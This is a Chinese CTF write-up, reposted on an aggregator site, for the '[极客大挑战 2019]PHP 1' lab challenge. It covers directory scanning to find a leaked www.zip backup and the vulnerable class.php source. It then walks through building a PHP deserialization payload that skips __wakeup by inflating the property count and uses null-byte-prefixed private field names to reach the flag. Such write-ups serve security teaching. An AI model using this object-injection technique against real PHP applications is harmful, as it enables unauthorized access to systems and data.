[极客大挑战 2019]PHP 1

[极客大挑战 2019]PHP 1,第1张

概述用dirsearch-master扫描网站:发现了www.zip,在网址后面加/www.zip,下载www.zip然后解压发现:挨个文件打开,发现flag.php里的flag是假的,然后发现class.php文件中:<?phpinclude'flag.php';error_reporting(0);className{private$username='nonono';priv


用dirsearch-master扫描网站:


发现了www.zip,在网址后面加/www.zip,下载www.zip
然后解压发现:


挨个文件打开,发现flag.PHP里的flag是假的,然后发现class.PHP文件中:

<?PHPinclude 'flag.PHP';error_reporting(0);class name{    private $username = 'nonono';    private $password = 'yesyes';    public function __construct($username,$password){        $this->username = $username;        $this->password = $password;    }    function __wakeup(){        $this->username = 'guest';    }    function __destruct(){        if ($this->password != 100) {            echo "</br>NO!!!Hacker!!!</br>";            echo "You name is: ";            echo $this->username;echo "</br>";            echo "You password is: ";            echo $this->password;echo "</br>";            dIE();        }        if ($this->username === 'admin') {            global $flag;            echo $flag;        }else{            echo "</br>hello my frIEnd~~</br>sorry i can't give you the flag!";            dIE();

根据代码的意思,我们可以发现如果username=admin password=100然后我们再执行__destruct()时可以获得flag
于是构造反序列化:

<?PHP class name{    private $username = 'nonono';    private $password = 'yesyes';     public function __construct($username,$password){        $this->username = $username;        $this->password = $password;    }}$a = new name('admin', 100);var_dump(serialize($a)); ?>

保存,然后获得序列化后的字符串:O:4:“name”:2:{s:14:“nameusername”;s:5:“admin”;s:14:“namepassword”;i:100;}

于是我们将参数值给select,这时候问题来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们

的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct

在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行__destruct

于是我们这样构造pyload:

?select=O:4:“name”:2:{s:14:“nameusername”;s:5:“admin”;s:14:“namepassword”;i:100;}

然后我们又意识到,这个变量时private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字

段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

于是我们在构造一回pyload:

?select=O:4:“name”:3:{s:14:"%00name%00username";s:5:“admin”;s:14:"%00name%00password";i:100;}


参考博客:
https://www.cnblogs.com/junlebao/p/13799762.HTML

总结

以上是内存溢出为你收集整理的[极客挑战 2019]PHP 1全部内容,希望文章能够帮你解决[极客大挑战 2019]PHP 1所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/sjk/1166963.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-06-01
下一篇 2022-06-01

发表评论

登录后才能评论

评论列表(0条)

保存